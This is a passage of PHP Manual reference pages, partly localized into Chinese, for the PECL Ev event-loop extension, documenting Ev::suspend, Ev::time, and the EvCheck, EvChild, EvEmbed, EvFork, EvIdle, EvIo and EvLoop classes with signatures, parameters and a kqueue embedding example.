* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

参见

  • EvEmbed
  • Ev::recommendedBackends() - Returns a bit mask of recommended backends for current platform
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops
  • Backend flags
  • Examples

User Contributed Notes

There are no user contributed notes for this page.


Suspend the default event loop

  • ? Ev::supportedBackends
  • Ev::time ?
  • PHP Manual
  • Ev
  • Suspend the default event loop

Ev::suspend

(PECL ev >= 0.2.0)

Ev::suspend — Suspend the default event loop

说明

final public static Ev::suspend(): void

Ev::suspend() and Ev::resume() methods suspend and resume the default loop correspondingly.

All timer watchers will be delayed by the time spend between suspend and resume , and all periodic watchers will be rescheduled(that is, they will lose any events that would have occurred while suspended).

After calling Ev::suspend() it is not allowed to call any function on the given loop other than Ev::resume() . Also it is not allowed to call Ev::resume() without a previous call to Ev::suspend() .

参数

此函数没有参数。

返回值

没有返回值。

参见

  • Ev::resume() - Resume previously suspended default event loop

User Contributed Notes

There are no user contributed notes for this page.


Returns the current time in fractional seconds since the epoch

  • ? Ev::suspend
  • Ev::verify ?
  • PHP Manual
  • Ev
  • Returns the current time in fractional seconds since the epoch

Ev::time

(PECL ev >= 0.2.0)

Ev::time — Returns the current time in fractional seconds since the epoch

说明

final public static Ev::time(): float

Returns the current time in fractional seconds since the epoch. Consider using Ev::now()

参数

此函数没有参数。

返回值

Returns the current time in fractional seconds since the epoch.

参见

  • Ev::now() - Returns the time when the last iteration of the default event loop has started

User Contributed Notes

There are no user contributed notes for this page.


Performs internal consistency checks(for debugging)

  • ? Ev::time
  • EvCheck ?
  • PHP Manual
  • Ev
  • Performs internal consistency checks(for debugging)

Ev::verify

(PECL ev >= 0.2.0)

Ev::verify — Performs internal consistency checks(for debugging)

说明

final public static Ev::verify(): void

Performs internal consistency checks(for debugging libev ) and abort the program if any data structures were found to be corrupted.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The EvCheck class

(PECL ev >= 0.2.0)

简介

EvPrepare and EvCheck watchers are usually used in pairs. EvPrepare watchers get invoked before the process blocks, EvCheck afterwards.

It is not allowed to call EvLoop::run() or similar methods or functions that enter the current event loop from either EvPrepare or EvCheck watchers. Other loops than the current one are fine, however. The rationale behind this is that one don't need to check for recursion in those watchers, i.e. the sequence will always be: EvPrepare -> blocking -> EvCheck , so having a watcher of each kind they will always be called in pairs bracketing the blocking call.

The main purpose is to integrate other event mechanisms into libev and their use is somewhat advanced. They could be used, for example, to track variable changes, implement custom watchers, integrate net-snmp or a coroutine library and lots more. They are also occasionally useful to cache some data and want to flush it before blocking.

It is recommended to give EvCheck watchers highest( Ev::MAXPRI ) priority, to ensure that they are being run before any other watchers after the poll (this doesn't matter for EvPrepare watchers).

Also, EvCheck watchers should not activate/feed events. While libev fully supports this, they might get executed before other EvCheck watchers did their job.

类摘要

class EvCheck extends EvWatcher {
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct( callable $callback , mixed $data = ?, int $priority = ?)
final public static createStopped( string $callback , string $data = ?, string $priority = ?): object
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Table of Contents

  • EvCheck::__construct — Constructs the EvCheck watcher object
  • EvCheck::createStopped — Create instance of a stopped EvCheck watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvCheck watcher object

  • ? EvCheck
  • EvCheck::createStopped ?
  • PHP Manual
  • EvCheck
  • Constructs the EvCheck watcher object

EvCheck::__construct

(PECL ev >= 0.2.0)

EvCheck::__construct — Constructs the EvCheck watcher object

说明

public EvCheck::__construct( callable $callback , mixed $data = ?, int $priority = ?)

Constructs the EvCheck watcher object.

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

参见

  • EvPrepare
  • EvLoop::check() - Creates EvCheck object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Create instance of a stopped EvCheck watcher

  • ? EvCheck::__construct
  • EvChild ?
  • PHP Manual
  • EvCheck
  • Create instance of a stopped EvCheck watcher

EvCheck::createStopped

(PECL ev >= 0.2.0)

EvCheck::createStopped — Create instance of a stopped EvCheck watcher

说明

final public static EvCheck::createStopped( string $callback , string $data = ?, string $priority = ?): object

Create instance of a stopped EvCheck watcher

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns EvCheck object on success.

参见

  • EvPrepare

User Contributed Notes

There are no user contributed notes for this page.


The EvChild class

(PECL ev >= 0.2.0)

简介

EvChild watchers trigger when the process receives a SIGCHLD in response to some child status changes (most typically when a child dies or exits). It is permissible to install an EvChild watcher after the child has been forked(which implies it might have already exited), as long as the event loop isn't entered(or is continued from a watcher), i.e. forking and then immediately registering a watcher for the child is fine, but forking and registering a watcher a few event loop iterations later or in the next callback invocation is not.

It is allowed to register EvChild watchers in the default loop only.

类摘要

class EvChild extends EvWatcher {
/* 属性 */
public $pid;
public $rpid;
public $rstatus;
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)
final public static createStopped(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = ?,
int $priority = ?
): object
public set( int $pid , bool $trace ): void
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

属性

pid

Readonly . The process ID this watcher watches out for, or 0 , meaning any process ID.

rpid

Readonly .The process ID that detected a status change.

rstatus

Readonly . The process exit status caused by rpid .

Table of Contents

  • EvChild::__construct — Constructs the EvChild watcher object
  • EvChild::createStopped — Create instance of a stopped EvCheck watcher
  • EvChild::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvChild watcher object

  • ? EvChild
  • EvChild::createStopped ?
  • PHP Manual
  • EvChild
  • Constructs the EvChild watcher object

EvChild::__construct

(PECL ev >= 0.2.0)

EvChild::__construct — Constructs the EvChild watcher object

说明

public EvChild::__construct(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = null ,
int $priority = 0
)

Constructs the EvChild watcher object.

Call the callback when a status change for process ID pid (or any PID if pid is 0 ) has been received(a status change happens when the process terminates or is killed, or, when trace is true, additionally when it is stopped or continued). In other words, when the process receives a SIGCHLD , Ev will fetch the outstanding exit/wait status for all changed/zombie children and call the callback.

It is valid to install a child watcher after an EvChild has exited but before the event loop has started its next iteration. For example, first one calls fork , then the new child process might exit, and only then an EvChild watcher is installed in the parent for the new PID .

You can access both exit/tracing status and pid by using the rstatus and rpid properties of the watcher object.

The number of PID watchers per PID is unlimited. All of them will be called.

The EvChild::createStopped() method doesn't start(activate) the newly created watcher.

参数

pid

Wait for status changes of process PID(or any process if PID is specified as 0 ).

trace

If false, only activate the watcher when the process terminates. Otherwise(true) additionally activate the watcher when the process is stopped or continued.

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

参见

  • EvLoop::child() - Creates EvChild object associated with the current event loop

User Contributed Notes

There are no user contributed notes for this page.


Create instance of a stopped EvCheck watcher

  • ? EvChild::__construct
  • EvChild::set ?
  • PHP Manual
  • EvChild
  • Create instance of a stopped EvCheck watcher

EvChild::createStopped

(PECL ev >= 0.2.0)

EvChild::createStopped — Create instance of a stopped EvCheck watcher

说明

final public static EvChild::createStopped(
int $pid ,
bool $trace ,
callable $callback ,
mixed $data = ?,
int $priority = ?
): object

The same as EvChild::__construct() , but doesn't start the watcher automatically.

参数

pid

The same as for EvChild::__construct()

trace

The same as for EvChild::__construct()

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

参见

  • EvChild::__construct() - Constructs the EvChild watcher object
  • EvLoop::child() - Creates EvChild object associated with the current event loop

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ? EvChild::createStopped
  • EvEmbed ?
  • PHP Manual
  • EvChild
  • Configures the watcher

EvChild::set

(PECL ev >= 0.2.0)

EvChild::set — Configures the watcher

说明

public EvChild::set( int $pid , bool $trace ): void

参数

pid

The same as for EvChild::__construct()

trace

The same as for EvChild::__construct()

返回值

没有返回值。

参见

  • EvChild::__construct() - Constructs the EvChild watcher object

User Contributed Notes

There are no user contributed notes for this page.


The EvEmbed class

(PECL ev >= 0.2.0)

简介

Used to embed one event loop into another.

类摘要

class EvEmbed extends EvWatcher {
/* 属性 */
public $embed;
/* 方法 */
public __construct(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
)
final public static createStopped(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
): void
public set( object $other ): void
public sweep(): void
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

属性

is_active

data

is_pending

priority

embed

Table of Contents

  • EvEmbed::__construct — Constructs the EvEmbed object
  • EvEmbed::createStopped — Create stopped EvEmbed watcher object
  • EvEmbed::set — Configures the watcher
  • EvEmbed::sweep — Make a single, non-blocking sweep over the embedded loop

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvEmbed object

  • ? EvEmbed
  • EvEmbed::createStopped ?
  • PHP Manual
  • EvEmbed
  • Constructs the EvEmbed object

EvEmbed::__construct

(PECL ev >= 0.2.0)

EvEmbed::__construct — Constructs the EvEmbed object

说明

public EvEmbed::__construct(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
)

This is a rather advanced watcher type that lets to embed one event loop into another(currently only IO events are supported in the embedded loop, other types of watchers might be handled in a delayed or incorrect fashion and must not be used).

See » the libev documentation for details.

This watcher is most useful on BSD systems without working kqueue to still be able to handle a large number of sockets. See example below.

参数

other

Instance of EvLoop . The loop to embed, this loop must be embeddable(see Ev::embeddableBackends() ).

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

示例

Example #1 Embedding loop created with kqueue backend into the default loop

<?php
/*
* Check if kqueue is available but not recommended and create a kqueue backend
* for use with sockets (which usually work with any kqueue implementation).
* Store the kqueue/socket-only event loop in loop_socket. (One might optionally
* use EVFLAG_NOENV, too)
*
* Example borrowed from
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
$embed = new EvEmbed($loop);
}
}

if (!$socket_loop) {
$socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

参见

  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvEmbed watcher object

  • ? EvEmbed::__construct
  • EvEmbed::set ?
  • PHP Manual
  • EvEmbed
  • Create stopped EvEmbed watcher object

EvEmbed::createStopped

(PECL ev >= 0.2.0)

EvEmbed::createStopped — Create stopped EvEmbed watcher object

说明

final public static EvEmbed::createStopped(
object $other ,
callable $callback = ?,
mixed $data = ?,
int $priority = ?
): void

The same as EvEmbed::__construct() , but doesn't start the watcher automatically.

参数

other

The same as for EvEmbed::__construct()

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns stopped EvEmbed object on success.

参见

  • EvEmbed::__construct() - Constructs the EvEmbed object
  • Ev::embeddableBackends() - Returns the set of backends that are embeddable in other event loops

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ? EvEmbed::createStopped
  • EvEmbed::sweep ?
  • PHP Manual
  • EvEmbed
  • Configures the watcher

EvEmbed::set

(PECL ev >= 0.2.0)

EvEmbed::set — Configures the watcher

说明

public EvEmbed::set( object $other ): void

Configures the watcher to use other event loop object.

参数

other

The same as for EvEmbed::__construct()

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Make a single, non-blocking sweep over the embedded loop

  • ? EvEmbed::set
  • EvFork ?
  • PHP Manual
  • EvEmbed
  • Make a single, non-blocking sweep over the embedded loop

EvEmbed::sweep

(PECL ev >= 0.2.0)

EvEmbed::sweep — Make a single, non-blocking sweep over the embedded loop

说明

public EvEmbed::sweep(): void

Make a single, non-blocking sweep over the embedded loop. Works similarly to the following, but in the most appropriate way for embedded loops:

<?php
$other->start(Ev::RUN_NOWAIT);
?>

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EvWatcher::start() - Starts the watcher

User Contributed Notes

There are no user contributed notes for this page.


The EvFork class

(PECL ev >= 0.2.0)

简介

Fork watchers are called when a fork() was detected (usually because whoever signalled libev about it by calling EvLoop::fork() ). The invocation is done before the event loop blocks next and before EvCheck watchers are being called, and only in the child after the fork. Note, that if whoever calling EvLoop::fork() calls it in the wrong process, the fork handlers will be invoked, too.

类摘要

class EvFork extends EvWatcher {
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct( callable $callback , mixed $data = null , int $priority = 0 )
final public static createStopped( string $callback , string $data = ?, string $priority = ?): object
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Table of Contents

  • EvFork::__construct — Constructs the EvFork watcher object
  • EvFork::createStopped — Creates a stopped instance of EvFork watcher class

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvFork watcher object

  • ? EvFork
  • EvFork::createStopped ?
  • PHP Manual
  • EvFork
  • Constructs the EvFork watcher object

EvFork::__construct

(PECL ev >= 0.2.0)

EvFork::__construct — Constructs the EvFork watcher object

说明

public EvFork::__construct( callable $callback , mixed $data = null , int $priority = 0 )

Constructs the EvFork watcher object and starts the watcher automatically.

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

参见

  • EvLoop::fork() - Creates EvFork watcher object associated with the current event loop instance
  • EvCheck

User Contributed Notes

There are no user contributed notes for this page.


Creates a stopped instance of EvFork watcher class

  • ? EvFork::__construct
  • EvIdle ?
  • PHP Manual
  • EvFork
  • Creates a stopped instance of EvFork watcher class

EvFork::createStopped

(PECL ev >= 0.2.0)

EvFork::createStopped — Creates a stopped instance of EvFork watcher class

说明

final public static EvFork::createStopped( string $callback , string $data = ?, string $priority = ?): object

The same as EvFork::__construct() , but doesn't start the watcher automatically.

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns EvFork(stopped) object on success.

参见

  • EvFork::__construct() - Constructs the EvFork watcher object

User Contributed Notes

There are no user contributed notes for this page.


The EvIdle class

(PECL ev >= 0.2.0)

简介

EvIdle watchers trigger events when no other events of the same or higher priority are pending ( EvPrepare , EvCheck and other EvIdle watchers do not count as receiving events ).

Thus, as long as the process is busy handling sockets or timeouts(or even signals) of the same or higher priority it will not be triggered. But when the process is in idle(or only lower-priority watchers are pending), the EvIdle watchers are being called once per event loop iteration - until stopped, that is, or the process receives more events and becomes busy again with higher priority stuff.

Apart from keeping the process non-blocking(which is a useful on its own sometimes), EvIdle watchers are a good place to do "pseudo-background processing" , or delay processing stuff to after the event loop has handled all outstanding events.

The most noticeable effect is that as long as any idle watchers are active, the process will not block when waiting for new events.

类摘要

class EvIdle extends EvWatcher {
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct( callable $callback , mixed $data = ?, int $priority = ?)
final public static createStopped( string $callback , mixed $data = ?, int $priority = ?): object
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

Table of Contents

  • EvIdle::__construct — Constructs the EvIdle watcher object
  • EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object

User Contributed Notes

There are no user contributed notes for this page.


Constructs the EvIdle watcher object

  • ? EvIdle
  • EvIdle::createStopped ?
  • PHP Manual
  • EvIdle
  • Constructs the EvIdle watcher object

EvIdle::__construct

(PECL ev >= 0.2.0)

EvIdle::__construct — Constructs the EvIdle watcher object

说明

public EvIdle::__construct( callable $callback , mixed $data = ?, int $priority = ?)

Constructs the EvIdle watcher object and starts the watcher automatically.

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

参见

  • EvIdle::createStopped() - Creates instance of a stopped EvIdle watcher object
  • EvLoop::idle() - Creates EvIdle watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Creates instance of a stopped EvIdle watcher object

  • ? EvIdle::__construct
  • EvIo ?
  • PHP Manual
  • EvIdle
  • Creates instance of a stopped EvIdle watcher object

EvIdle::createStopped

(PECL ev >= 0.2.0)

EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object

说明

final public static EvIdle::createStopped( string $callback , mixed $data = ?, int $priority = ?): object

The same as EvIdle::__construct() , but doesn't start the watcher automatically.

参数

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns EvIdle object on success.

参见

  • EvIdle::__construct() - Constructs the EvIdle watcher object
  • EvLoop::idle() - Creates EvIdle watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


The EvIo class

(PECL ev >= 0.2.0)

简介

EvIo watchers check whether a file descriptor(or socket, or a stream castable to numeric file descriptor) is readable or writable in each iteration of the event loop, or, more precisely, when reading would not block the process and writing would at least be able to write some data. This behaviour is called level-triggering because events are kept receiving as long as the condition persists. To stop receiving events just stop the watcher.

The number of read and/or write event watchers per fd is unlimited. Setting all file descriptors to non-blocking mode is also usually a good idea(but not required).

Another thing to watch out for is that it is quite easy to receive false readiness notifications, i.e. the callback might be called with Ev::READ but a subsequent read() will actually block because there is no data. It is very easy to get into this situation. Thus it is best to always use non-blocking I/O: An extra read() returning EAGAIN (or similar) is far preferable to a program hanging until some data arrives.

If for some reason it is impossible to run the fd in non-blocking mode, then separately re-test whether a file descriptor is really ready. Some people additionally use SIGALRM and an interval timer, just to be sure thry won't block infinitely.

Always consider using non-blocking mode.

类摘要

class EvIo extends EvWatcher {
/* 属性 */
public $fd;
public $events;
/* 继承的属性 */
public $is_active;
public $data;
public $is_pending;
public $priority;
/* 方法 */
public __construct(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = ?,
int $priority = ?
)
final public static createStopped(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo
public set( mixed $fd , int $events ): void
/* 继承的方法 */
public EvWatcher::clear(): int
public EvWatcher::feed( int $revents ): void
public EvWatcher::getLoop(): EvLoop
public EvWatcher::invoke( int $revents ): void
public EvWatcher::keepalive( bool $value = ?): bool
public EvWatcher::setCallback( callable $callback ): void
public EvWatcher::start(): void
public EvWatcher::stop(): void
}

属性

fd

events

Table of Contents

  • EvIo::__construct — Constructs EvIo watcher object
  • EvIo::createStopped — Create stopped EvIo watcher object
  • EvIo::set — Configures the watcher

User Contributed Notes

There are no user contributed notes for this page.


Constructs EvIo watcher object

  • ? EvIo
  • EvIo::createStopped ?
  • PHP Manual
  • EvIo
  • Constructs EvIo watcher object

EvIo::__construct

(PECL ev >= 0.2.0)

EvIo::__construct — Constructs EvIo watcher object

说明

public EvIo::__construct(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = ?,
int $priority = ?
)

Constructs EvIo watcher object and starts the watcher automatically.

参数

fd

Can be a stream opened with fopen() or similar functions, numeric file descriptor, or socket.

events

Ev::READ and/or Ev::WRITE . See the bit masks .

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

参见

  • EvIo::createStopped() - Create stopped EvIo watcher object
  • EvLoop::io() - Create EvIo watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Create stopped EvIo watcher object

  • ? EvIo::__construct
  • EvIo::set ?
  • PHP Manual
  • EvIo
  • Create stopped EvIo watcher object

EvIo::createStopped

(PECL ev >= 0.2.0)

EvIo::createStopped — Create stopped EvIo watcher object

说明

final public static EvIo::createStopped(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo

The same as EvIo::__construct() , but doesn't start the watcher automatically.

参数

fd

The same as for EvIo::__construct()

events

The same as for EvIo::__construct()

callback

See Watcher callbacks .

data

Custom data associated with the watcher.

priority

Watcher priority

返回值

Returns EvIo object on success.

参见

  • EvIo::__construct() - Constructs EvIo watcher object
  • EvLoop::io() - Create EvIo watcher object associated with the current event loop instance

User Contributed Notes

There are no user contributed notes for this page.


Configures the watcher

  • ? EvIo::createStopped
  • EvLoop ?
  • PHP Manual
  • EvIo
  • Configures the watcher

EvIo::set

(PECL ev >= 0.2.0)

EvIo::set — Configures the watcher

说明

public EvIo::set( mixed $fd , int $events ): void

Configures the EvIo watcher

参数

fd

The same as for EvIo::__construct()

events

The same as for EvIo::__construct()

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The EvLoop class

(PECL ev >= 0.2.0)

简介

Represents an event loop that is always distinct from the default loop . Unlike the default loop , it cannot handle EvChild watchers.

Having threads we have to create a loop per thread, and use the default loop in the parent thread.

The default event loop is initialized automatically by Ev . It is accessible via methods of the Ev class, or via EvLoop::defaultLoop() method.

类摘要

final class EvLoop {
/* 属性 */
public $data;
public $backend;
public $is_default_loop;
public $iteration;
public $pending;
public $io_interval;
public $timeout_interval;
public $depth;
/* 方法 */
public __construct(
int $flags = ?,
mixed $data = NULL ,
float $io_interval = 0.0 ,
float $timeout_interval = 0.0
)
public backend(): int
final public check( string $callback , string $data = ?, string $priority = ?): EvCheck
final public child(
string $pid ,
string $trace ,
string $callback ,
string $data = ?,
string $priority = ?
): EvChild
public static defaultLoop(
int $flags = Ev::FLAG_AUTO ,
mixed $data = NULL ,
float $io_interval = 0. ,
float $timeout_interval = 0.
): EvLoop
final public embed(
string $other ,
string $callback = ?,
string $data = ?,
string $priority = ?
): EvEmbed
final public fork( callable $callback , mixed $data = null , int $priority = 0 ): EvFork
final public idle( callable $callback , mixed $data = null , int $priority = 0 ): EvIdle
public invokePending(): void
final public io(
mixed $fd ,
int $events ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvIo
public loopFork(): void
public now(): float
public nowUpdate(): void
final public periodic(
float $offset ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvPeriodic
final public prepare( callable $callback , mixed $data = null , int $priority = 0 ): EvPrepare
public resume(): void
public run( int $flags = 0 ): void
final public signal(
int $signum ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvSignal
final public stat(
string $path ,
float $interval ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvStat
public stop( int $how = ?): void
public suspend(): void
final public timer(
float $after ,
float $repeat ,
callable $callback ,
mixed $data = null ,
int $priority = 0
): EvTimer
public verify(): void
}

属性

data

Custom data attached to loop

backend

Readonly . The backend flags indicating the event backend in use.

is_default_loop

Readonly . true if it is the default event loop.

iteration

The current iteration count of the loop. See Ev::iteration()

pending

The number of pending watchers. 0 indicates that there are no watchers pending.

io_interval

Higher io_interval allows libev to spend more time collecting EvIo events, so more events can be handled per iteration, at the cost of increasing latency. Timeouts (both EvPeriodic and EvTimer ) will not be affected. Setting this to a non-zero value will introduce an additional sleep() call into most loop iterations. The sleep time ensures that libev will not poll for EvIo events more often than once per this interval, on average. Many programs can usually benefit by setting the io_interval to a value near 0.1 , which is often enough for interactive servers(not for games). It usually doesn't make much sense to set it to a lower value than 0.01 , as this approaches the timing granularity of most systems.

See also » FUNCTIONS CONTROLLING EVENT LOOPS .

timeout_interval

Higher timeout_interval allows libev to spend more time collecting timeouts, at the expense of increased latency/jitter/inexactness(the watcher callback will be called later). EvIo watchers will not be affected. Setting this to a non-null value will not introduce any overhead in libev . See also » FUNCTIONS CONTROLLING EVENT LOOPS .

depth

The recursion depth. See Ev::depth() .

Table of Contents

  • EvLoop::backend — Returns an integer describing the backend used by libev
  • EvLoop::check — Creates EvCheck object associated with the current event loop instance
  • EvLoop::child — Creates EvChild object associated with the current event loop
  • EvLoop::__construct — Constructs the event loop object
  • EvLoop::defaultLoop — Returns or creates the default event loop
  • EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object
  • EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance
  • EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance
  • EvLoop::invokePending — Invoke all pending watchers while resetting their pending state
  • EvLoop::io — Create EvIo watcher object associated with the current event loop instance
  • EvLoop::loopFork — Must be called after a fork
  • EvLoop::now — Returns the current "event loop time"
  • EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress
  • EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance
  • EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance
  • EvLoop::resume — Resume previously suspended default event loop
  • EvLoop::run — Begin checking for events and calling callbacks for the loop
  • EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance
  • EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance
  • EvLoop::stop — Stops the event loop
  • EvLoop::suspend — Suspend the loop
  • EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance
  • EvLoop::verify — Performs internal consistency checks(for debugging)

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer describing the backend used by libev

  • ? EvLoop
  • EvLoop::check ?
  • PHP Manual
  • EvLoop
  • Returns an integer describing the backend used by libev

EvLoop::backend

(PECL ev >= 0.2.0)

EvLoop::backend — Returns an integer describing the backend used by libev

说明

public EvLoop::backend(): int

The same as Ev::backend() , but for the loop instance.

参数

此函数没有参数。

返回值

Returns an integer describing the backend used by libev. See Ev::backend() .

参见

  • Ev::backend() - Returns an integer describing the backend used by libev

User Contributed Notes

There are no user contributed notes for this page.


Creates EvCheck object associated with the current event loop instance

  • ? EvLoop::backend
  • EvLoop::child ?
  • PHP Manual
  • EvLoop
  • Creates EvCheck object associated with the current event loop instance

EvLoop::check

(PECL ev >= 0.2.0)

EvLoop::check — Creates EvCheck object associated with the current event loop instance

说明

final public EvLoop::check( string $callback , string $data = ?, string $priority = ?): EvCheck

Creates EvCheck object associated with the current event loop instance.

参数

All parameters have the same meaning as for EvCheck::__construct()

返回值

Returns EvCheck object on success.

参见

  • EvCheck::__construct() - Constructs the EvCheck watcher object

User Contributed Notes

There are no user contributed notes for this page.


Creates EvChild object associated with the current event loop

  • ? EvLoop::check
  • EvLoop::__construct ?
  • PHP Manual
  • EvLoop
  • Creates EvChild object associated with the current event loop

EvLoop::child

(PECL ev >= 0.2.0)

EvLoop::child — Creates EvChild object associated with the current event loop

说明

final public EvLoop::child(
string $pid ,
string $trace ,
string $callback ,
string $data = ?,
string $priority = ?
): EvChild

Creates EvChild object associated with the current event loop.

参数

All parameters have the same meaning as for EvChild::__construct()

返回值

Returns EvChild object on success.

参见

  • EvChild::__construct() - Constructs the EvChild watcher object

User Contributed Notes

There are no user contributed notes for this page.


Constructs the event loop object

  • ? EvLoop::child
  • EvLoop::defaultLoop ?
  • PHP Manual
  • EvLoop
  • Constructs the event loop object

EvLoop::__construct

(PECL ev >= 0.2.0)

EvLoop::__construct — Constructs the event loop object

说明

public EvLoop::__construct(
int $flags = ?,
mixed $data = NULL ,
float $io_interval = 0.0 ,
float $timeout_interval = 0.0
)

Constructs the event loop object.

参数

flags

One of the event loop flags

data

Custom data associated with the loop.

io_interval

See io_interval

timeout_interval

See timeout_interval

参见

  • EvLoop::defaultLoop() - Returns or creates the default event loop

User Contributed Notes

There are no user contributed notes for this page.


Returns or creates the default event loop

  • ? EvLoop::__construct
  • EvLoop::embed ?
  • PHP Manual
  • EvLoop
  • Returns or creates the default event loop

EvLoop::defaultLoop

(PECL ev >= 0.2.0)

EvLoop::defaultLoop — Returns or creates the default event loop

说明

public static EvLoop::defaultLoop(
int $flags = Ev::FLAG_AUTO ,
mixed $data = NULL ,
float $io_interval = 0. ,
float $timeout_interval = 0.
): EvLoop

If the default event loop is not created, EvLoop::defaultLoop() creates it with the specified parameters. Otherwise, it just returns the object representing previously created instance ignoring all the parameters.

参数

flags

One of the event loop flags

data

Custom data to associate with the loop.

io_collect_interval

See io_interval

timeout_collect_interval

See timeout_interval

返回值

Returns EvLoop object on success.

参见

  • EvLoop::__construct() - Constructs the event loop object

User Contributed Notes

There are no user contributed notes for this page.


